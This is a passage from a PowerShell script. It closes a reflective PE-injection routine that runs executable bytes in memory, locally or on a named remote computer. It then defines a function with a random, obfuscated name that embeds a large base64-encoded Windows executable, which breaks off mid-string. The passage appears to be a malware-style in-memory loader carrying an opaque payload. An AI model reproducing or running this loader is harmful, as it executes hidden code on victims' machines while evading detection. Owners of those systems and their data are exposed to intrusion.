  2738.     else
  2739.     {
  2740.         $ExeArgs = "ReflectiveExe"
  2741.     }
  2742.  
  2743.     if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2744.     {
  2745.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2746.     }
  2747.     else
  2748.     {
  2749.         Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2750.     }
  2751. }
  2752.  
  2753. Main
  2754. }
  2755.  
  2756. function Invoke-WPGPLHJSVPEOZPOJBAXMJ
  2757. {
  2758.  
  2759. $PEBytes32 = "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aXMgYSBkaXJlY3RvcnkAAG1lc3NhZ2Ugc2l6ZQAAAABuZXR3b3JrIGRvd24AAAAAbmV0d29yayByZXNldAAAAG5ldHdvcmsgdW5yZWFjaGFibGUAbm8gYnVmZmVyIHNwYWNlAG5vIGNoaWxkIHByb2Nlc3MAAAAAbm8gbGluawBubyBsb2NrIGF2YWlsYWJsZQAAAG5vIG1lc3NhZ2UgYXZhaWxhYmxlAAAAAG5vIG1lc3NhZ2UAAG5vIHByb3RvY29sIG9wdGlvbgAAbm8gc3BhY2Ugb24gZGV2aWNlAABubyBzdHJlYW0gcmVzb3VyY2VzAG5vIHN1Y2ggZGV2aWNlIG9yIGFkZHJlc3MAAABubyBzdWNoIGRldmljZQAAbm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQAAAG5vdCBhIGRpcmVjdG9yeQBub3QgYSBzb2NrZXQAAAAAbm90IGEgc3RyZWFtAAAAAG5vdCBjb25uZWN0ZWQAAABub3Qgc3VwcG9ydGVkAAAAb3BlcmF0aW9uIGNhbmNlbGVkAABvcGVyYXRpb24gaW4gcHJvZ3Jlc3MAAABvcGVyYXRpb24gbm90IHN1cHBvcnRlZABvcGVyYXRpb24gd291bGQgYmxvY2sAAABvd25lciBkZWFkAABwZXJtaXNzaW9uIGRlbmllZAAAAHByb3RvY29sIGVycm9yAABwcm90b2NvbCBub3Qgc3VwcG9ydGVkAAByZWFkIG9ubHkgZmlsZSBzeXN0ZW0AAAByZXN1bHQgb3V0IG9mIHJhbmdlAHN0YXRlIG5vdCByZWNvdmVyYWJsZQAAAHN0cmVhbSB0aW1lb3V0AAB0ZXh0IGZpbGUgYnVzeQAAdGltZWQgb3V0AAAAdG9vIG1hbnkgZmlsZXMgb3BlbiBpbiBzeXN0ZW0AAAB0b28gbWFueSBmaWxlcyBvcGVuAHRvbyBtYW55IGxpbmtzAAB0b28gbWFueSBzeW1ib2xpYyBsaW5rIGxldmVscwAAAHZhbHVlIHRvbyBsYXJnZQB3cm9uZyBwcm90b2NvbCB0eXBlAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABGbHNBbGxvYwAAAABGbHNGcmVlAEZsc0dldFZhbHVlAEZsc1NldFZhbHVlAEluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25FeABJbml0T25jZUV4ZWN1dGVPbmNlAENyZWF0ZUV2ZW50RXhXAABDcmVhdGVTZW1hcGhvcmVXAAAAAENyZWF0ZVNlbWFwaG9yZUV4VwAAQ3JlYXRlVGhyZWFkcG9vbFRpbWVyAAAAU2V0VGhyZWFkcG9vbFRpbWVyAABXYWl0Rm9yVGhyZWFkcG9vbFRpbWVyQ2FsbGJhY2tzAENsb3NlVGhyZWFkcG9vbFRpbWVyAAAAAENyZWF0ZVRocmVhZHBvb2xXYWl0AAAAAFNldFRocmVhZHBvb2xXYWl0AAAAQ2xvc2VUaHJlYWRwb29sV2FpdABGbHVzaFByb2Nlc3NXcml0ZUJ1ZmZlcnMAAAAARnJlZUxpYnJhcnlXaGVuQ2FsbGJhY2tSZXR1cm5zAABHZXRDdXJyZW50UHJvY2Vzc29yTnVtYmVyAAAAQ3JlYXRlU3ltYm9saWNMaW5rVwBHZXRDdXJyZW50UGFja2FnZUlkAEdldFRpY2tDb3VudDY0AABHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZUV4AAAAAFNldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlAABHZXRTeXN0ZW1UaW1lUHJlY2lzZUFzRmlsZVRpbWUAAEluaXRpYWxpemVDb25kaXRpb25WYXJpYWJsZQBXYWtlQ29uZGl0aW9uVmFyaWFibGUAAABXYWtlQWxsQ29uZGl0aW9uVmFyaWFibGUAAAAAU2xlZXBDb25kaXRpb25WYXJpYWJsZUNTAAAAAEluaXRpYWxpemVTUldMb2NrAAAAQWNxdWlyZVNSV0xvY2tFeGNsdXNpdmUAVHJ5QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmUAAFJlbGVhc2VTUldMb2NrRXhjbHVzaXZlAFNsZWVwQ29uZGl0aW9uVmFyaWFibGVTUlcAAABDcmVhdGVUaHJlYWRwb29sV29yawAAAABTdWJtaXRUaHJlYWRwb29sV29yawAAAABDbG9zZVRocmVhZHBvb2xXb3JrAENvbXBhcmVTdHJpbmdFeABHZXRMb2NhbGVJbmZvRXgATENNYXBTdHJpbmdFeAAAAPyvQAC7M0EAuClCAAgqQgBEsEAAfzZBACIlQQBiYWQgYXJyYXkgbmV3IGxlbmd0aAAAAAAAAAAAAAAAAAAA8D8gAAAA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IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCcAAGBlaCB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgdWR0IHJldHVybmluZycAYEVIAGBSVFRJAAAAYGxvY2FsIHZmdGFibGUnAGBsb2NhbCB2ZnRhYmxlIGNvbnN0cnVjdG9yIGNsb3N1cmUnACBuZXdbXQAAIGRlbGV0ZVtdAAAAYG9tbmkgY2FsbHNpZycAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgbWFuYWdlZCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBlaCB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAGBkeW5hbWljIGF0ZXhpdCBkZXN0cnVjdG9yIGZvciAnAAAAAGB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYG1hbmFnZWQgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgbG9jYWwgc3RhdGljIHRocmVhZCBndWFyZCcAb3BlcmF0b3IgIiIgAAAAAG9wZXJhdG9yIGNvX2F3YWl0AAAAb3BlcmF0b3I8PT4AIFR5cGUgRGVzY3JpcHRvcicAAAAgQmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICgAIEJhc2UgQ2xhc3MgQXJyYXknAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAADUNkAAEDdAAEw3QABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAGYAaQBiAGUAcgBzAC0AbAAxAC0AMQAtADEAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHMAeQBuAGMAaAAtAGwAMQAtADIALQAwAAAAAABrAGUAcgBuAGUAbAAzADIAAAAAAGEAcABpAC0AbQBzAC0AAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAgAAAAEAAAACAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAtAIAwAgAAAAAAAAAtQIAwAgAAAAAAAAADAAAAAMAAAAJAAAAbQBzAGMAbwByAGUAZQAuAGQAbABsAAAAQ29yRXhpdFByb2Nlc3MAAAAAAAB3fEEAAAAAALJ8QQAAAAAAvJFBAOeRQQCsfEEAr3xBAEdtQQCfbUEAeLFBAImxQQAAAAAA4HxBALiLQQDki0EAw5hBABmZQQA4f0EAUX